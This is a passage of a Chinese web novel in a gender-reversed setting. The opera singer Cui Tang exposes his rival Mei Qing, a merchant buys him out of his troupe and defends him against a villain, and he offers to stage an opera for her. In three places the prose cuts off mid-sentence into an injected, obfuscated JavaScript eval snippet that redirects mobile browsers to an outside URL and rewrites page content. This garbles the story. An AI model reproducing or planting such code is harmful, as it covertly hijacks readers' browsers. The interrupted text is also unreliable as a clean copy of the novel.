梅卿原本正在鼎香楼里颐指气使的支使那些小男孩帮自己搬东西,他今日郑重其事的穿了一身大红的衣裳,露着雪白的领口和膀子,腰掐的很细,胸腹间曼妙的曲线一览无余。 他听见门外穆念白声势浩大的动静,忍不住皱了皱眉,他赎身嫁人的大好日子,哪个不长眼的来触霉头。 二楼转出来个穿金带银的富贵女子,而立之年,眉眼间却已经堆满了筹谋与算计。她顺着楼梯转到梅卿身边,阴着脸面色不虞地问:“外面什么动静?” 梅卿紧紧贴着她的胳膊,捂着嘴,故作娇怯的笑:“不知道呢,奴听了真害怕。” 穆念白远远便认出了她,是谢家二房主事的谢芝,指掌谢家私库多年攒下颇多家私,看如今这局面,想来是梅卿帮她办成了事,她便投桃报李,赎了梅卿纳他做小。 穆念白不想和她多费口舌,谢芝看见她,却抱着拳主动迎上来,她目露得意,装模做样的向穆念白请罪:“欸呀呀,妹妹,我新纳的这个男子喜欢使小性子,没误了妹妹的事吧?” 穆念白心中冷笑,当然误了。 穆念白云淡风轻的将这话挡了回去:“不过是男人撒娇耍痴罢了,能误得了什么事呢?” 前面两个女人两张嘴一张一合的说着些崔棠听不懂的话,他只是死死的盯着笑得花枝乱颤的梅卿,他对谭秋童下了那样的死手,还栽赃嫁祸给自己,让自己受了那么多的折磨,如今竟然能穿得漂漂亮亮,风光无两的嫁入谢家。 崔棠心中熊熊的烧起了一把火。 他插进穆念白与谢芝虚与委蛇的寒暄中,佯装无辜,眨着黑亮的眼睛,笑眯眯地盯着梅卿脸上那张虚伪漂亮的伪装。 “梅师兄,你要嫁人了吗?那黄师姐怎么办呀?” “你们不是私定了终身,要一辈子在一起的吗?” 10. 得意的小外室 梅卿当即变了脸色,急忙去看身边脸色发绿的谢芝。 他和姓黄的苟合,自然是小心瞒着谢芝,不敢搬到台面上来的。他还有大好的青春和傲人的美貌,不做嫁入豪门的美梦,难道真的要和一个前程无望的贱籍戏子了此余生吗? 她们二人,不过是逢场作戏,追求片刻的欢愉罢了。 他处处小心,为的就是让谢芝以为自己娶进门的,是个完璧的处子。 这些处心积虑,今日却叫崔棠一句话冒冒失失地喊破了。 梅卿自然不相信这是崔棠的无心之失,他恨不得飞扑过去撕了崔棠那张过分伶俐的嘴,可当他愤怒的瞪向崔棠,才惊觉眼前的崔棠与往日那个卑微弱小的崔棠判若两人。 往日那个麻雀一样灰扑扑、光秃秃的崔棠,如今穿着那样一身鲜亮又端庄的衣裳,开屏的孔雀一样,揪着穆念白的衣袖,将自己半个身子藏在穆念白高大的身形之后,故作无辜的眨着那双黑亮的眼珠子,目光狡黠地看向自己。 是个男人都能看出崔棠的矫做与心机,偏偏穆念白就吃这套,在和谢芝唇枪舌剑,你来我往时,也不忘下意识的将他护在身后。 自己处心积虑,本以为能一石二鸟去掉两个威胁,到头来却是为他人做了嫁衣裳。 梅卿心里恨得滴血,他死死盯着崔棠的面容,他的眉眼,他的身形,他到底有哪一点好,能让穆念白青眼有加,甚至爱护非常? 扬州豪商众多,穆念白这样年少风流的却少,在此之前梅卿不是没打过穆念白的主意,他甚至趁穆念白醉酒,去爬过她的床。 可那时穆念白人虽醉倒,心却是冷的。 梅卿只要想起穆念白当时的眼神,就会从脚底升起一股凛冽的寒意,穆念白那时的眼神不像在看人,却像在看阴沟里的老鼠,浓烈的厌恶与冰冷的杀意不似作伪。 她拂袖将自己摔下床榻,拔剑要刺,自己在惊慌失措之下,连滚带爬的从二楼的窗户跌落,摔断的右肘到今日还在隐隐作痛。 崔棠脆生生的声音将梅卿飘远的思绪扯回来,他笑吟吟的侧过头,满脸真诚的同穆念白夸赞二人的深情:“三小姐,您不知道吧,梅师兄和黄师姐,是打小的情分,说是青梅竹马都不为过,每回梅师兄被班主打得下不来床,都是黄师姐衣不解带贴身照料的。” “多亏了黄师姐,才将梅师兄养的这样娇艳动人。” 右肘断骨的地方又传来彻骨的疼,这回却不是因为穆念白,是谢芝阴沉着脸,一双铁掌钳子一样紧紧捏着自己的伤处,一寸一寸的掐进去。 梅卿顾不上喊疼,急忙跪倒在谢芝身前,泪眼婆娑地求饶。 “妻主...您莫听他颠倒黑白,奴侍奉妻主小心勤谨,几时有过二心?” 崔棠见状,抿了抿嘴唇,一边在心里冷笑,一边继续佯装无辜,火上浇油道:“就是呀,梅师兄和黄师姐相伴成侣,日日成双入对,何曾有过二心?” 谢芝脸色发绿,神情冷漠的看着梅卿,冷哼一声:“你当我没有眼睛,看不见你和姓黄的亲近,往日你百般狡辩,我才暂且相信。” “你有没有二心,你自己心里最清楚。” 她伸手叫停屋里忙碌的仆妇们,冷冷扫一眼梅卿:“别以为替我办成了事,我就要事事顺着你,谢家开府五十载,还没迎过不干不净,不三不四的东西进门。” “想进谢家的们,你下辈子再做这种美梦吧!” 谢芝说罢,不再理会地上攀着她的衣角,苦苦哀求的梅卿,甚至连在穆念白面前逞口舌之快的念头都没有了,她今日在穆念白面前被戴了那么大顶绿帽子,丢了那么大的人,只恨地上没有个缝让她钻进去。 谢芝拂袖而去,梅卿跪在地上,咬牙切齿,死死瞪着崔棠。 崔棠向门外一努嘴,笑呵呵的:“梅师兄,你妻主不要你了,你怎么不去追呢?” 梅卿一张俏脸被怒火烧的通红,一心想过来缠着崔棠厮打,却被穆念白冰冷的目光吓退了,穆念白居高临下,冷漠的盯着他。 “我还未曾追究你的错失,你倒想在我面前跟我的人撒野。” 梅卿向后退了半步,躲开穆念白凌厉的眼神,抖如筛糠,他这才意识到,若谢芝在盛怒之下把自己交给穆念白处置,他就是真正的死路一条。 但有崔棠在穆念白身边煽风点火,他如何能讨到便宜,留一条命在? 梅卿咬了半天牙,几乎把嘴唇咬得血肉模糊,片刻后,他狼狈地从地上爬起来,失了往日的傲慢与骄横,像条丧家之犬一样夹着尾巴,火烧火燎地追在谢芝屁股后面,哭着向谢芝狡辩去了。 崔棠斜着眼睛,看着梅卿狼狈的背影一阵烟似的飘远,心中只觉得畅快,不自觉地笑出了声。 穆念白轻笑一声,捏住他脸颊上的软肉向外扯。 “笑得收敛些,生怕别人不知道你做了坏事一样。” 崔棠揉着被她捏得红肿的脸颊,眨着黑水晶一样忽闪忽闪的眼睛,故作无辜地看她:“三小姐,奴只是实话实说,哪里做坏事了?” 穆念白低声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282213|151881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻笑:“是吗?你既行得正坐得端,那等谢芝打上门来,别又光溜溜的跪在我跟前哭。” 崔棠笑不出来了,那个谢芝看上去好像不是什么大度的人,要是她回过味来怪自己让她丢了人... 崔棠扯住穆念白衣袖,拉着她不让她走,他急得要哭,将脸贴在她的胸口蹭来蹭去,小声地央求:“三小姐,您也知道是他害了奴的,他还坏了您的好事...三小姐,您这次就帮帮奴嘛。” 这种感觉很新奇,好像一只轻盈的小鸟正在她心上蹦来蹦去,叽叽喳喳的叫。 穆念白忍不住伸手,像抚摸鸟类翎羽一般,轻轻抚摸崔棠绸缎一样乌黑顺滑的长发。 温柔小心的动作让崔棠一愣,有些诧异地看向穆念白。 穆念白轻咳一声,收回手,只似笑非笑的看着崔棠:“我从来不做赔钱的买卖,要我帮你,你总得拿点东西交换吧?” 穆念白好像看不上自己的身子,崔棠在心里失落的回忆着昨晚的情形,但她好像很喜欢自己唱的戏。 于是崔棠讨好地笑着,殷勤地给她捏腿揉肩:“奴给三小姐唱曲,唱一天一夜也不停。” 二人说话间,连小楼已经将崔棠的卖身契拿来了。 连小楼神色难明地看着崔棠,语气复杂地感慨:“我不过提了那么一嘴,竟真叫你办成了。” 崔棠不知道该怎么面对连小楼,他对自己打骂不休,还想逼迫自己倚门卖笑,论理,他应该恨她入骨,可连小楼教他本事,尽心尽力,从不藏私,生死关头,也愿意抛弃尊严,拉他一把。 崔棠只好背过身去,躲开连小楼的目光。 穆念白粗粗看一眼卖身契,上面写着一个高昂到滑稽可笑的数字,穆念白没有二话,数出十张银票递给连小楼,沉声叫崔棠过来。 “崔棠,过来谢过你师傅多年的教导。” 崔棠看着她数出去厚厚一沓银票,心中酸涩,乖顺地过来,向连小楼低头。 “班主,崔棠多谢您多年的栽培。” 连小楼沉默地看着他,千言万语化作一声叹息:“唉...往后你跟着穆老板,万事要当心,别丢了宝家班的人。” 崔棠不知如何接话,想要说点什么,却被一声阴恻恻的冷笑打断了思绪。 崔棠惶然抬头,看向从大门闯进来的不速之客。 刘卿文阴冷的目光绕开穆念白,死死粘在崔棠身上。 “没有我的吩咐,就敢放他走。” “连小楼,你真是越来越会做人了。” 11. 害羞的小外室 崔棠几乎是下意识地躲到了穆念白身后。 穆念白笔直修长的影子笼罩着他,崔棠将穆念白衣裳后摆揪得起皱,颤抖着,用细碎的声音哀求。 “三小姐,求您救救奴...” 穆念白以锐利的目光迎上刘卿文,暗中却不动声色,向后伸手,将崔棠因为恐惧而失血的苍白小手拢在自己宽厚的掌心中。 不知道为什么,穆念白明明也是养尊处优的豪商,掌心却长满了粗粝坚硬的茧子。 穆念白掌心的温度从指尖顺着血肉,逐渐扩散到四肢百骸,崔棠那颗惊悸不安的心终于得到了片刻的安宁。 穆念白拢着他的手,低声安慰。 “万事有我。” 穆念白阴沉着脸看着刘卿文,在心中为自己罕见的心软开脱——并非是她爱惜这只鸟儿的好颜色,而是若在她穆念白的地盘上,公然让刘卿文蹬鼻子上脸欺辱她的人,那她穆念白也不必在扬州城混了,直接洗手做汤羹,为人奴婢去吧。 刘卿文眯着眼睛,倨傲地看着穆念白,除了自己,还有谁能为她和沈王牵线搭桥。 她虽不知一向薄情寡恩的穆念白为什么会鬼迷了心窍一样赎出坏她好事的崔棠,但刘卿文猜测,以穆念白睚眦必报的品性,也许是要把崔棠买回去暗中磋磨折辱。 她必不会对这个小东西生了不该有的善心。 即使她真的色令智昏,以穆念白见风使舵,顺水推舟的本事,难道会为这个不知死活的男人和自己撕破脸? 刘卿文心中笃定穆念白必不会为了一个崔棠大动干戈,她心里还攒着一团邪火,径直略过穆念白,伸手要将藏在她身后的崔棠拉扯出来。 一只滑腻油润的手蛇一样顺着他的衣袖攀爬了上来。 崔棠惊叫出声,仓皇失措地向后躲。 穆念白伸手,只一挡一拆,就擒住刘卿文的手臂,将她拦在自己身前。 穆念白似笑非笑地看着刘卿文:“刘老板,放着我这么大个女人不找,却去欺负一个小男人,这实非女子所为啊。” 刘卿文腕上用力,想甩开穆念白钳制自己的手,穆念白不动如山,只笑吟吟地看着她,那只手却像铁钳一样,纹丝不动的钳着刘卿文的手腕。 刘卿文有些愠恼,都说穆念白年轻的时候是跑码头替人抗货的,如今看来果真不错。若不是那样低贱的出身,她从哪里得来这样一身牛一样的力气。 穆念白紧紧捏着刘卿文的手腕,强硬地压着它向下,刘卿文渐渐白了脸,面容因为疼痛变得模糊而扭曲。 穆念白忖度着火候,牵扯着刘卿文的手腕,轻轻向后一推。 刘卿文踉跄几步,差点一屁股坐到地上,还是连小楼不计前嫌过来扶了她一把,才不至于让她在穆念白眼前出丑。 刘卿文恼火极了,脸上的那张菩萨一样斯文和善的面具剥落,露出长满獠牙的血盆大口。 她一边甩着青肿的手腕,一边怒不可遏的质问穆念白:“好你个穆念白,竟为了这么个暗倡跟我过不去!” “你也不想想,除了我,还有谁肯替你和沈王穿针引线!” 穆念白讥讽一笑:“刘卿文,你何必在这揣着明白装糊涂,你那是穿针引线吗?不过在沈王耳边递句话,你就要分我四成的利。” “土匪都没干过这么划算的买卖。” 刘卿文眯着眼睛,眼珠子上下左右地转,她还是以为穆念白找不到别的门路,只不过对价钱不满,想和自己讨价还价罢了。 刘卿文阴湿的目光潮水一样漫过崔棠纤细秀美的身躯,她贪婪地舔了舔嘴唇——左右都是无本万利,为这样一位美人损失一点又怎样,反正日后都能连本带利的从他身上赚回来。 刘卿文自诩大度地让步:“你要嫌贵,我先退一步,我只要你三成的利。”她的目光毒蛇一样缠绕在颈间,几乎要让崔棠窒息。 “再加上你身后的那个小玩意儿。” 穆念白看了一眼缩成一团,抖如筛糠的崔棠,不动声色的向旁跨出一步,替他挡住刘卿文的视线。 穆念白毫不客气的和刘卿文针锋相对:“三成利?我为什么不把这三成利直接奉给沈王?” 刘卿文阴恻恻地笑着,嘲道:“奉给沈王?你是什么东西也想爬进沈王的大帐,沈王府大门朝哪开你都不知道,还想奉给沈王?” 崔棠紧张地揪紧手,生怕穆念白火气上头和刘卿文打起来牵连到自己。 穆念白却平静得很,一挥手。 提前得了她的嘱托,在一旁恭候多时的嘉禾便昂首挺胸,领着附近店面里一众五大三粗的伙计,几下将刘卿文留在门口的人手打到一边。气势汹汹地走进来,在穆念白身后站成一堵墙,冷冷的看着寡不敌众的刘卿文。 刘卿文当即色变,她是留了仆妇打手在门外候着的,这伙人能这样光明正大地闯进来,说明自己留下的那群饭桶已经被收拾掉了。 刘卿文气得跺脚,穆念白轻声一笑,云淡风轻的将刘卿文的话挡了回去。 “我虽不知道沈王府的大门朝哪开,但我却知道,沈王求贤若渴,我若把神兵骏马拱手奉上,沈王自会请我入帐。” 扬州豪商众多,却只有穆念白有胆魄走一趟民风剽悍的甘陇,卖丝绸瓷器给蛮族的皇室,换些骏马铁器回来。 她若真舍得把良马都送给沈王,沈王自当高看她一眼。 刘卿文只得气急败坏地威胁:“你...!你送再多东西,也比不过枕边人亲密无间!你今日乖乖将崔棠交给我,来日沈王面前,我一定让我那侄子为你美言,否则...” 穆念白冷笑着打断她:“枕边人?刘卿文,我好心给你提个醒,回去算算沈王如今有几个活下来的孩子,沈王的枕边人岂是轻易就能当成的。” 南来北往、四通八达的商路都是穆念白的消息网,其中不乏有些沸沸扬扬的传闻。 譬如沈王后宅并非表面上那样古井无波,平静的水面之下,暗流涌动。 如今沈王膝下只有两个成年的女儿,剩下两个男孩,也是胎里带病,天不假年。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282214|151881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈王府里的佳人们也是蓝颜薄命,一个接一个的香消玉殒,死后也不得安宁,坏了名声,只能被一卷草席裹着扔到乱葬岗里。 刘卿文瞥向门外,自己带来的那群废物果然披红挂彩的躺了一地。她心里没什么底气,嘴上却不想饶过穆念白,只能色厉内荏道:“话不投机半句多,穆老板既打定主意要和我撕破脸,那就好自为之吧。” 她最后看一眼崔棠,阴狠的目光恨不得生剐了他:“我等着你跪着求我的那一天,贱货。” 穆念白干脆拉着崔棠的手,将他圈到自己怀中,漠然地盯着刘卿文:“有我在一天,他就求不到你那去。” 她看一眼嘉禾,高声喝:“嘉禾,送客!” 嘉禾领着几个伙计,撸起袖子就要上前,刘卿文急忙向后小跳几步,尽管走得狼狈,她也不忘放狠话威胁。 “穆念白,你给我等着!” 等她的侄子为沈王诞下麟女,等她们刘家跃升成沈王亲族,到时候碾死势单力薄的穆念白,岂不像碾死一只蚂蚁一样简单? 穆念白嗤笑一声:“白日做梦。” 她低头看向一动不动,乖巧地窝在自己怀里不出声的崔棠:“在我怀里呆够了吧,还不出来?” 崔棠这才回神,恍然惊觉自己已经将半张脸埋进了穆念白胸口,穆念白这人铁器一样冰冷坚硬,胸膛却是柔软又温暖。 崔棠做了坏事一样小心翼翼抬起头,果然看见穆念白一双英气逼人的凤眼正似笑非笑的看着自己。 崔棠雪白的脸颊霎时红透了,他飞快的从穆念白怀里逃出来,低着头小声辩解:“奴太害怕了嘛...”他悄悄抬眼观察穆念白的神色,见她并不愠恼,便抿着嘴,浅浅笑着,温声软语地道谢:“奴多谢三小姐的救命之恩...” 穆念白扬了扬手里的卖身契,歪头看他:“不必谢我,你把钱还我就行。” 崔棠不笑了,他刚才可都看见了,穆念白眼都不眨地数出去一千两银子,这女人一点不会过日子,连讨价还价都不会! 让他还,他得还到猴年马月去? 穆念白见崔棠垂头丧气的小模样,心中好笑,又添了几分逗弄他的心思。 她挑起崔棠的下巴,眯着眼睛问:“我还为你得罪了刘卿文,你好好想一想,该怎么赔给我。” 崔棠绞尽脑汁,也想不出把自己卖上一千两的办法,他叹了口气,抬眼可怜巴巴地瞧着穆念白,破罐子破摔道:“要不三小姐把奴切片卖了吧。” 穆念白似乎听进去了一样,上上下下地打量他,一边啧啧称奇,一边在他身上拍拍打打,好像在仔细品评着他身体上挂着的几两肉,崔棠被她看得面红耳赤,恨不得变成蚯蚓钻进地里去。 片刻后穆念白皱着眉摇头。 “又干又瘦,还硌手,切片都卖不了几个钱。” 崔棠垮着一张俊脸,闷闷不乐地跟在她身后,穆念白却将话锋一转。 “不过也算有点用处。” “跟我回去,给我唱一出戏。” 12. 文盲的小外室 回程的马车上穆念白将一沓纸笺递给崔棠,倚着车窗看夕阳之下,熙攘鼎沸的人群。 穆念白开口给他安排差事:“这是沈王麾下左翎卫大将军叶问道的生平,前些年来扬州时谢家刘家都曾豪掷千金邀她去蓄芳阁小酌,连她的亲兵都没见到就被鼻青脸肿的打了回来。” “她上阵时每杀一人就要高歌相佐,我观此人,对美色是什么兴趣,对戏曲,倒是颇有研究,我对戏曲却是不大通,你看看这人的经历,选一出她会喜欢的戏来。” 崔棠依言一张张的翻看着纸笺,上面用蝇头小楷密密麻麻地写满叶问道这些年的经历与喜好,写这些纸笺的想来是个才高八斗的人,引经据典,头头是道。 那些蝌蚪大小的墨字会游泳一样,在他眼前动来动去,攒聚成模糊的一团。 崔棠看得有些头晕,秀眉紧蹙,倚着座椅上的靠垫,像条毛毛虫一样软绵绵的滑了下去。 穆念白一把将他捞起来,神色复杂地看着他问:“你不识字?” 崔棠敏锐的从她的眼神中感觉到一丝嫌弃,他急忙坐直,脸上因为羞愧泛起一层薄红,他不想被穆念白看轻,着急地开口辩解:“奴识字的!崔棣在家时常常教我,奴已经认得许多字了!只是,只是...” 崔棠羞愧难当地垂下头,有些想哭。 只是他虽认识几个字,在穆念白看来,自己恐怕和胸无点墨的文盲没什么区别。 他害穆念白损失那么多银子,穆念白还愿意怜悯他,给他赎身,崔棠心中已经十分不安了。穆念白是个商人,他已经不知道,自己究竟要付出什么,才足够偿还穆念白在他身上的投入。 如今好不容易能偿还穆念白的恩情,他却,他却... 不识字。 崔棠将身上崭新的衣裳揪出一道道褶皱,他揉了揉酸涩的鼻尖,他也想读书习字呀,他难道不想像那些富贵人家的少爷一般,干干净净地坐在窗明几净的闺塾里,被人夸一句腹有诗书气自华。 可他身在贱籍,处处被打压欺凌,唱不出名头,就没人愿意花心思教养他。他跟着崔棣去学堂,躲在门外求知若渴地学,又会被学堂的看守嫌恶地打出来。 崔棠抬手,用手背抹去眼角溢出的泪珠,颤声解释:“只是这些字...太小,太密了,好多词,奴不知道是什么意思,奴一时有些看不懂,三小姐再给奴点时间,奴就能看懂了。” 穆念白沉默地看了他一会,忽然长叹一口气,伸手揉了揉他的发顶,难能罕见地安慰他。 “不是人人都有那个好福气坐在学堂里读书明理的,你如今这身本事,已经胜过许多四体不勤五谷不分的千金少爷了。” 穆念白看着因为自卑与羞愧哭得哽咽的崔棠,心中却升腾起一股奇异的感觉。 从那晚崔棠赤身裸体,哭得梨花带雨的求到她的身前,她心中就隐隐有了这样的感觉。 好喜欢他捂着红肿的杏眼,晶莹的泪水从他的指缝中流淌下来的样子。 好喜欢他手足无措,只能揪着自己袖口小声哀求的样子。 好喜欢...看他哭。 穆念白悚然一惊,她穆念白堂堂正正,顶天立地,岂会和刘卿文那种畜生是一路人? 穆念白千方百计的为自己找补——穆家本宅里那么多强塞过来的小侍,回回见了自己都泣不成声,自己都无动于衷,可见自己仍然是个正经人。 她只是在可怜崔棠罢了。 可怜他和自己一样,自幼失了母父,无人教养;可怜他和自己一样,一心向学,却处处碰壁。 她可怜他,也是可怜曾经的自己;她费心教养他,也是教养曾经的自己。 穆念白就这样说服了自己,她将那些纸笺从崔棠手中拿回来,用指腹揉去上面冰凉的泪珠,轻声叹气:“这些东西我直接告诉你也是一样的,其实只要能办成事,肚子里有没有墨水都是不打紧的。” 说着,她自嘲地笑笑:“论诗赋文采,我是比不过谢芝的,可你也看见了,谢芝在我面前,是从来不敢造次的。” 她见崔棠的眼泪还是止不住的往下落,遂于心不忍道:“你若有求学的心思,我请人教你就是了。” 崔棠哽咽着拒绝了:“三小姐不必为奴费心,那些老师们必会觉得奴脏了她们的眼,三小姐何苦为奴受她们的冷眼。” 穆念白伸手揉去他眼角的泪,四声轻笑:“你看着我想一想,全扬州城吗,有谁敢给我冷眼?” 崔棠这才渐渐止住了哭声,用湿漉漉的脸颊蹭着穆念白的掌心,小声啜泣,崔棠在心里想,如果穆念白所说不是戏言,那不管请来的老师怎么打他、骂他,他都要把书读下去。 崔棠哭得直打嗝,但还是执着的睁着春泓一样的眼睛,感激地看着穆念白,咬着嘴唇向她承诺。 “三小姐,奴一定会为您办成事的。” “这一回,奴一定不会再坏您的事了。” 崔棠支起耳朵,认真地听穆念白四平八稳,平铺直叙的的讲述。 ——比纸笺上那些骈四骊六的东西好懂多了。 “叶问道这个人,原是前朝镇守北疆的兵马大都督,前朝皇帝昏庸 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“她唯一所好,就是闲来唱曲,我要你选一出戏,帮我把叶问道请过来。” 崔棠在心里把戏目仔细过了一遍,有些犹豫地问:“叶将军原来戍守北疆...还自请去镇守北疆?” 在得到穆念白肯定的答复后,崔棠像是下定了决心,乌黑的眼眸中迸发出神异的光彩:“三小姐,奴知道唱哪一出了。” 穆念白洗耳恭听。 崔棠笃定道:“穆桂英挂帅。” 穆念白惊诧地上下打量他,不由得问:“女人戏?你能唱?” 崔棠忙不迭地点头。 穆桂英挂帅,讲的是不知在哪朝哪代,忠心耿耿的将军穆桂英被奸臣构陷,蒙受帝王猜疑,恨朝廷无道不得不归隐山林。二十年后,番邦来犯,国家危亡,穆桂英深明大义,仍念家国安危,再次授印出征,抵御外敌的故事。 崔棠觉得没有哪出戏比它更适合叶问道的经历。 只是男人到底不是女子,纵然学得到女子的外形,也学不到女子的神魂。 历来男子唱女人戏,不过是装乖讨巧,了做闺房中的情趣罢了。 但崔棠想试一试。 他已经在穆念白面前塌过一次台,这一次无论如何,哪怕天上下刀子他也得把这出戏唱好,决不能再给穆念白丢人了。 他勾住穆念白的尾指,将侧脸乖巧地贴在她的腿上,抬眼,用晶亮如星子的眼睛央求地看着穆念白。 崔棠很小心地问:“三小姐,您愿意信奴这一回吗?” 13. 自信的小外室 穆念白看着崔棠,在提到唱戏这件事时,他脸上充满自信与骄傲,像只挺起胸脯,抖擞羽毛的漂亮小鸟。 穆念白不由得在心中问自己:这一次,她应该相信崔棠吗? 崔棠从穆念白短暂的沉默中读出她的犹豫,尽管装了两个人的车厢有些狭窄有拥挤,但他还是义无反顾地跪倒在穆念白脚下。 他的膝盖就贴着穆念白华美的裙裾,穆念白坐得端正壁纸,修长的影子从高处落下,将崔棠纤细的身躯笼盖其中。 崔棠抬起眼眸,虔诚的信徒一样仰视着穆念白。 穆念白薄唇紧抿,眉眼微蹙,神情肃穆。 穆念白居高临下,不动声色地观察着崔棠。从她的角度,只能看到有一双黑珍珠一样的眼眸,闪烁着耀人的水光,楚楚可怜地看着自己。 她不由得有些心痒。 她淡淡地打量着崔棠,在心中斟酌着利弊,崔棠机遇在她面前证明自己的价值,心急地伸出手指来,对天发誓。 “三小姐,奴一定能帮您把这件事办好的!” 他生怕穆念白不信一样,攀上穆念白的手,向她立军令状。 “三小姐,请您相信奴!奴若再将这件事办砸了,奴,奴...奴就把脑袋摘下来给三小姐。” 他说这话时,明亮的眼睛睁得圆滚滚的,皱着鼻子,咬着嘴唇,发狠一样发誓,认真又可爱。 穆念白不由得失笑,她笑着将此事定下:“你当日唱的贵君醉酒倒是不错,若不是那颗钉子,你如今也应该出人头地了。” 崔棠听着,暗自撇了撇嘴,失落地低下头。穆念白没错过他暗戳戳的小动作,扯着他脸颊上柔软细嫩的皮肉让他抬起头,崔棠脸颊被扯得微红,半是羞半是恼,气鼓鼓地盯着她。 穆念白轻笑:“既然早就该给你这个机会,如今给你补上就是了。” 而后她缓缓收敛笑容,板着一张严肃冷漠的脸警告崔棠:“你若帮我办成了这事,我自然重重有赏。” 她嘴角噙着一抹淡淡的冷笑:“可若是你又把这事办砸了,那就是不是脱光了跪着唱一宿能解决的了。” 会想起那晚的事,回想起那晚穆念白冰冷又无情的眼神,崔棠不由得浑身颤抖,可在心底深处,却不知为何又升腾起一股隐隐的期待。 崔棠用手背捂着滚烫的脸颊降温,目光坚定地看着穆念白,他伸出手发誓,郑重的向穆念白承诺:“三小姐放心,奴这次一定不会再出错了!” 穆念白看着他眼中熠熠的神采,轻轻地笑。 “好,我就相信你这一回。” “回府将身上的伤养一养,补一补身子,好好准备。” “我相信你。” 不多时车妇勒紧缰绳,黑金马车在穆宅大门前停稳。穆念白想着崔棠脚上未愈,便主动伸出手,让崔棠扶着自己的臂膀下车。 穆念白的小臂结实有力,崔棠只虚虚扶着,便能感受到隔着一层意料,那一层虬扎矫健的血肉。 崔棠心中有些疑惑,原来穆念白这样养尊处优多年的人也会又这么结实的肌肉吗? 他有些好奇地捏了捏穆念白手肘伤结实的皮肉,穆念白停下脚步,低头看着他,眉头微皱。 崔棠急忙解释:“奴不是故意的...只是好奇三小姐的胳膊怎么会这么结实?” 穆念白一哂,并不解释,只是反问:“南来北往的商道都是我一趟趟跑通了,难道在你眼里,我是个金尊玉贵的小姐吗?” 崔棠一愣,忽然意识到,也许他对穆念白的了解,只止步于那些甚嚣尘上的流言蜚语罢了。 他心中忽然空落落的,忍不住遐想——穆念白什么时候才会允许他,离她更近一点,更多地了解她一点呢? 张管家远远地迎上来,看向崔棠的目光里,三分鄙薄,三分冷淡,还有三分不屑与一分对自己的恨铁不成钢。 她怎么就没看出来崔棠是个狐狸变得害人精!都爬到三小姐床上去了她才知道他那一身修竹一样的风骨都是演的。 崔棠心虚地低下头,躲开张管家箭矢一样的目光,悄悄扯着穆念白的袖口,可怜巴巴地央求:“三小姐,我们快进去吧,好不好?” 张管家冷笑着清了清嗓子,公事公办地向穆念白禀报。 “三小姐,穆家那边已经把崔棣放出来了,如今正在西厢房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282216|151881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里歇息。” 穆念白含笑看向崔棠,方才的羞愧与羞赧早不见了踪影,取而代之的满脸的焦急。 穆念白拍了拍他的肩膀,温声安慰:“莫着急,一会就能见着了。” 崔棠与崔棣分别近一个月,更有崔棣被学堂拘禁,生死难明的事。崔棠心中不知有多惊慌失措,只是不敢在穆念白身前表露出来。 如今穆念白允准,他恨不得生出翅膀来飞到崔棣身边去。 穆府里亭台楼阁,水榭画舫,无一不精,无一不巧,只是崔棠行色匆匆,无心观赏。 穆念白看着他消瘦的身影一瘸一拐地拐过墙角,微微皱起眉,吩咐张管家:“去把库房打开,我去挑几副补品。” 崔棠跌跌撞撞,一头扎进西厢房,踉踉跄跄地扑到床前,拉起崔棣的手,仔细端详着倚靠着床头,半躺在榻上的人。 崔棣十三四的年纪,面色苍白,原本炯炯有神的凤眼失了光彩,有些暗淡。只是眉眼中,仍旧能看出几分疏朗坚毅的味道来。 她与崔棠虽是血浓于水的亲兄妹,她却浑然不似崔棠那样柔婉可人,反倒生了一副叫人看了就知道不好惹的凌厉五官。 崔棠将她浑身上下仔细检查了一番,见她全须全尾的,身上多是些皮肉伤,这才捧着她的手,喜极而泣。 “没事就好...没事就好。” 崔棣看着兄长钻石一样的泪水一滴滴的落到自己身上,心中酸涩难当,几乎也要落下泪来。 她使劲搓着眼角,强忍着心中的酸涩,认真地问崔棠。 “哥哥,刚才那个姓张的女人为什么说你狐媚勾引,爬穆念白的床?” “她也在颠倒黑白,羞辱哥哥吗?” 崔棣虽然虚弱地躺在床上,但说到这时原本暗淡的眼眸中忽然又燃起了熊熊的烈火,她将袖子一撸,恨不得立马窜到张管家跟前对着她一张歪嘴来上一拳。 崔棣纷愤愤不平。 “我就知道有钱的都不是好东西,她的奴才搬弄口舌,造谣生事。” “她穆念白定然也不是什么好东西!” 崔棠却忍无可忍,抬起手,捂住了崔棣的嘴。 14. 哭泣的小外室 